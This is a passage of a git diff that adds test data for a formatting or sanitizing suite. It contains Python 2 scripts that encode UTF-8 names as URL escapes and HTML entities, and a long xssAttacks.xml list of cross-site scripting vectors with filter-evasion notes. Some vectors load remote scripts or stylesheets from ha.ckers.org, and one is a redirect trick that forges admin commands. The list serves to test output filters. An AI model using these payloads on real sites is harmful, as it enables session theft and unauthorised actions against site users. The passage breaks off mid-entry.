&#decimal;) + and are used like normal UNIXy pipes. + + Try: + + `python urlencode.py < utf-8.txt > urlencoded.txt` + `python u-urlencode.py < utf-8.txt > u-urlencoded.txt` + `python entitize.py < utf-8.txt > entitized.txt` + + * `windows-1252.py` converts Windows-only smart-quotes and things + into their unicode &#decimal reference; equivalents. diff --git a/tests/data/formatting/utf-8/entitize.py b/tests/data/formatting/utf-8/entitize.py new file mode 100644 index 0000000000..efa7cb18d5 --- /dev/null +++ b/tests/data/formatting/utf-8/entitize.py @@ -0,0 +1,24 @@ +# Generates entitized.txt from utf-8.txt +# +# entitized.txt is used by Tests_Formatting_UrlEncodedToEntities + +import codecs +import sys + +def entitize(line): + """Convert text to &#[dec]; entities.""" + line = line.strip(); + line = ["&#%d;" % ord(s) for s in line] + return "".join(line) + +if __name__ == "__main__": + args = sys.argv[1:] + if args and args[0] in ("-h", "--help"): + print "Usage: python entitize.py < utf-8.txt > entitized.txt" + sys.exit(2) + + sys.stdin = codecs.getreader("utf-8")(sys.stdin) + sys.stdout = codecs.getwriter("ascii")(sys.stdout) + + lines = sys.stdin.readlines() + sys.stdout.write( "\n".join(map(entitize, lines)) ) diff --git a/tests/data/formatting/utf-8/entitized.txt b/tests/data/formatting/utf-8/entitized.txt new file mode 100644 index 0000000000..a29c9f9216 --- /dev/null +++ b/tests/data/formatting/utf-8/entitized.txt @@ -0,0 +1,5 @@ +章子怡 +François Truffaut +საქართველო +Björk Guðmundsdóttir +宮崎 駿 \ No newline at end of file diff --git a/tests/data/formatting/utf-8/u-urlencode.py b/tests/data/formatting/utf-8/u-urlencode.py new file mode 100644 index 0000000000..c20a14f1f8 --- /dev/null +++ b/tests/data/formatting/utf-8/u-urlencode.py @@ -0,0 +1,24 @@ +# Generates u-urlencoded.txt from utf-8.txt +# +# u-urlencoded.txt is used by Tests_Formatting_UrlEncodedToEntities + +import codecs +import sys + +def uurlencode(line): + """Use %u[hexvalue] percent encoding.""" + line = line.strip() + line = ["%%u%04X" % ord(s) for s in line] + return "".join(line) + +if __name__ == "__main__": + args = sys.argv[1:] + if args and args[0] in ("-h", "--help"): + print "Usage: python u-urlencode.py < utf-8.txt > u-urlencoded.txt" + sys.exit(2) + + sys.stdin = codecs.getreader("utf-8")(sys.stdin) + sys.stdout = codecs.getwriter("ascii")(sys.stdout) + + lines = sys.stdin.readlines() + sys.stdout.write( "\n".join(map(uurlencode, lines)) ) diff --git a/tests/data/formatting/utf-8/u-urlencoded.txt b/tests/data/formatting/utf-8/u-urlencoded.txt new file mode 100644 index 0000000000..ad4e422c75 --- /dev/null +++ b/tests/data/formatting/utf-8/u-urlencoded.txt @@ -0,0 +1,5 @@ +%u7AE0%u5B50%u6021 +%u0046%u0072%u0061%u006E%u00E7%u006F%u0069%u0073%u0020%u0054%u0072%u0075%u0066%u0066%u0061%u0075%u0074 +%u10E1%u10D0%u10E5%u10D0%u10E0%u10D7%u10D5%u10D4%u10DA%u10DD +%u0042%u006A%u00F6%u0072%u006B%u0020%u0047%u0075%u00F0%u006D%u0075%u006E%u0064%u0073%u0064%u00F3%u0074%u0074%u0069%u0072 +%u5BAE%u5D0E%u3000%u99FF diff --git a/tests/data/formatting/utf-8/urlencode.py b/tests/data/formatting/utf-8/urlencode.py new file mode 100644 index 0000000000..d29907f24b --- /dev/null +++ b/tests/data/formatting/utf-8/urlencode.py @@ -0,0 +1,33 @@ +# Generates urlencoded.txt from utf-8.txt +# +# urlencoded.txt is used by Tests_Formatting_Utf8UriEncode + +import urllib, codecs, re +import sys + +# uncapitalize pct-encoded values, leave the rest alone +capfix = re.compile("%([0-9A-Z]{2})"); +def fix(match): + octet = match.group(1) + intval = int(octet, 16) + if intval < 128: + return chr(intval).lower() + return '%' + octet.lower() + +def urlencode(line): + """Percent-encode each byte of non-ASCII unicode characters.""" + line = urllib.quote(line.strip().encode("utf-8")) + line = capfix.sub(fix, line) + return line + +if __name__ == "__main__": + args = sys.argv[1:] + if args and args[0] in ("-h", "--help"): + print "Usage: python urlencode.py < utf-8.txt > urlencoded.txt" + sys.exit(2) + + sys.stdin = codecs.getreader("utf-8")(sys.stdin) + sys.stdout = codecs.getwriter("ascii")(sys.stdout) + + lines = sys.stdin.readlines() + sys.stdout.write( "\n".join(map(urlencode, lines)) ) diff --git a/tests/data/formatting/utf-8/urlencoded.txt b/tests/data/formatting/utf-8/urlencoded.txt new file mode 100644 index 0000000000..930bf13ff6 --- /dev/null +++ b/tests/data/formatting/utf-8/urlencoded.txt @@ -0,0 +1,5 @@ +%e7%ab%a0%e5%ad%90%e6%80%a1 +Fran%c3%a7ois Truffaut +%e1%83%a1%e1%83%90%e1%83%a5%e1%83%90%e1%83%a0%e1%83%97%e1%83%95%e1%83%94%e1%83%9a%e1%83%9d +Bj%c3%b6rk Gu%c3%b0mundsd%c3%b3ttir +%e5%ae%ae%e5%b4%8e%e3%80%80%e9%a7%bf diff --git a/tests/data/formatting/utf-8/utf-8.txt b/tests/data/formatting/utf-8/utf-8.txt new file mode 100644 index 0000000000..1596029d20 --- /dev/null +++ b/tests/data/formatting/utf-8/utf-8.txt @@ -0,0 +1,5 @@ +ç« å­æ€¡ +François Truffaut +სáƒáƒ¥áƒáƒ áƒ—ველრ+Björk Guðmundsdóttir +宮崎 駿 diff --git a/tests/data/formatting/windows1252.py b/tests/data/formatting/windows1252.py new file mode 100644 index 0000000000..a4fe402703 --- /dev/null +++ b/tests/data/formatting/windows1252.py @@ -0,0 +1,27 @@ +# Generates test data for functions converting between +# dodgy windows-1252-only values and their unicode counterparts + +unichars = ["201A", "0192", "201E", "2026", "2020", "2021", + "02C6", "2030", "0160", "2039", "0152", "2018", + "2019", "201C", "201D", "2022", "2013", "2014", + "02DC", "2122", "0161", "203A", "0153", "0178"]; + +winpoints = [] +unipoints = [] + +for char in unichars: + char = unichr(int(char, 16)) + dec = ord(char) + win = ord(char.encode("windows-1252")) + + unipoints.append(dec) + winpoints.append(win) + +def entitize(s): + return "&#%s;" % s + +winpoints = map(entitize, winpoints) +unipoints = map(entitize, unipoints) + +print "".join(winpoints), "".join(unipoints) + diff --git a/tests/data/formatting/xssAttacks.xml b/tests/data/formatting/xssAttacks.xml new file mode 100644 index 0000000000..017bf1f347 --- /dev/null +++ b/tests/data/formatting/xssAttacks.xml @@ -0,0 +1,976 @@ + + + + XSS Locator + ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} + Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + XSS Quick Test + '';!--"<XSS>=&{()} + If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + SCRIPT w/Alert() + <SCRIPT>alert('XSS')</SCRIPT> + Basic injection attack + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + SCRIPT w/Source File + <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> + No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + SCRIPT w/Char Code + <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> + Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + BASE + <BASE HREF="javascript:alert('XSS');//"> + Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + BGSOUND + <BGSOUND SRC="javascript:alert('XSS');"> + BGSOUND + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + BODY background-image + <BODY BACKGROUND="javascript:alert('XSS');"> + BODY image + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + BODY ONLOAD + <BODY ONLOAD=alert('XSS')> + BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + DIV background-image 1 + <DIV STYLE="background-image: url(javascript:alert('XSS'))"> + Div background-image + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + DIV background-image 2 + <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> + Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + DIV expression + <DIV STYLE="width: expression(alert('XSS'));"> + Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression" + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + FRAME + <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> + Frame (Frames have the same sorts of XSS problems as iframes). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + IFRAME + <IFRAME SRC="javascript:alert('XSS');"></IFRAME> + Iframe (If iframes are allowed there are a lot of other XSS problems as well). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + INPUT Image + <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> + INPUT Image + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + IMG w/JavaScript Directive + <IMG SRC="javascript:alert('XSS');"> + Image XSS using the JavaScript directive. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + IMG No Quotes/Semicolon + <IMG SRC=javascript:alert('XSS')> + No quotes and no semicolon + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + IMG Dynsrc + <IMG DYNSRC="javascript:alert('XSS');"> + IMG Dynsrc + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + IMG Lowsrc + <IMG LOWSRC="javascript:alert('XSS');"> + IMG Lowsrc + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + IMG Embedded commands 1 + <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> + This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + IMG Embedded commands 2 + Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser + IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + IMG STYLE w/expression + exp/*<XSS STYLE='no\xss:noxss("*//*"); +xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> + IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + List-style-image + <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS + Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + IMG w/VBscript + <IMG SRC='vbscript:msgbox("XSS")'> + VBscript in an image + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + LAYER + <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> + Layer (Older Netscape only) + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + Livescript + <IMG SRC="livescript:[code]"> + Livescript (Older Netscape only) + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + US-ASCII encoding + %BCscript%BEalert(%A2XSS%A2)%BC/script%BE + Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>] + + + META + <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> + The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + META w/data:URL + <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> + This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + META w/additional URL parameter + <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> + Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Mocha + <IMG SRC="mocha:[code]"> + Mocha (Older Netscape only) + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + OBJECT + <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> + If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + OBJECT w/Embedded XSS + <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> + Using an OBJECT tag you can embed XSS directly (this is unverified). + + Browser support: + + + Embed Flash + <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> + Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + OBJECT w/Flash 2 + a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); + Using this action script inside flash can obfuscate your XSS vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + STYLE + <STYLE TYPE="text/javascript">alert('XSS');</STYLE> + STYLE tag (Older versions of Netscape only) + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + STYLE w/Comment + <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> + STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + STYLE w/Anonymous HTML + <XSS STYLE="xss:expression(alert('XSS'))"> + Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + STYLE w/background-image + <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> + STYLE tag using background-image. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + STYLE w/background + <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> + STYLE tag using background. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Stylesheet + <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> + Stylesheet + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Remote Stylesheet 1 + <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> + Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Remote Stylesheet 2 + <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> + Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Remote Stylesheet 3 + <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> + Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Remote Stylesheet 4 + <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> + Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + TABLE + <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> + Table background (who would have thought tables were XSS targets... except me, of course). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + TD + <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> + TD background. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + XML namespace + <HTML xmlns:xss> +<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> +<xss:xss>XSS</xss:xss> +</HTML> + XML namespace. The .htc file must be located on the server as your XSS vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + XML data island w/CDATA + <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> +</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> + XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + XML data island w/comment + <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> +<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> + XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + XML (locally hosted) + <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> +<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> + Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + XML HTML+TIME + <HTML><BODY> +<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> +<?import namespace="t" implementation="#default#time2"> +<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> + HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Commented-out Block + <!--[if gte IE 4]> +<SCRIPT>alert('XSS');</SCRIPT> +<![endif]--> + Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Cookie Manipulation + <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> + Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Local .htc file + <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> + This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Rename .js to .jpg + <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> + Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + SSI + <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> + SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + PHP + <? echo('<SCR)'; +echo('IPT>alert("XSS")</SCRIPT>'); ?> + PHP - requires PHP 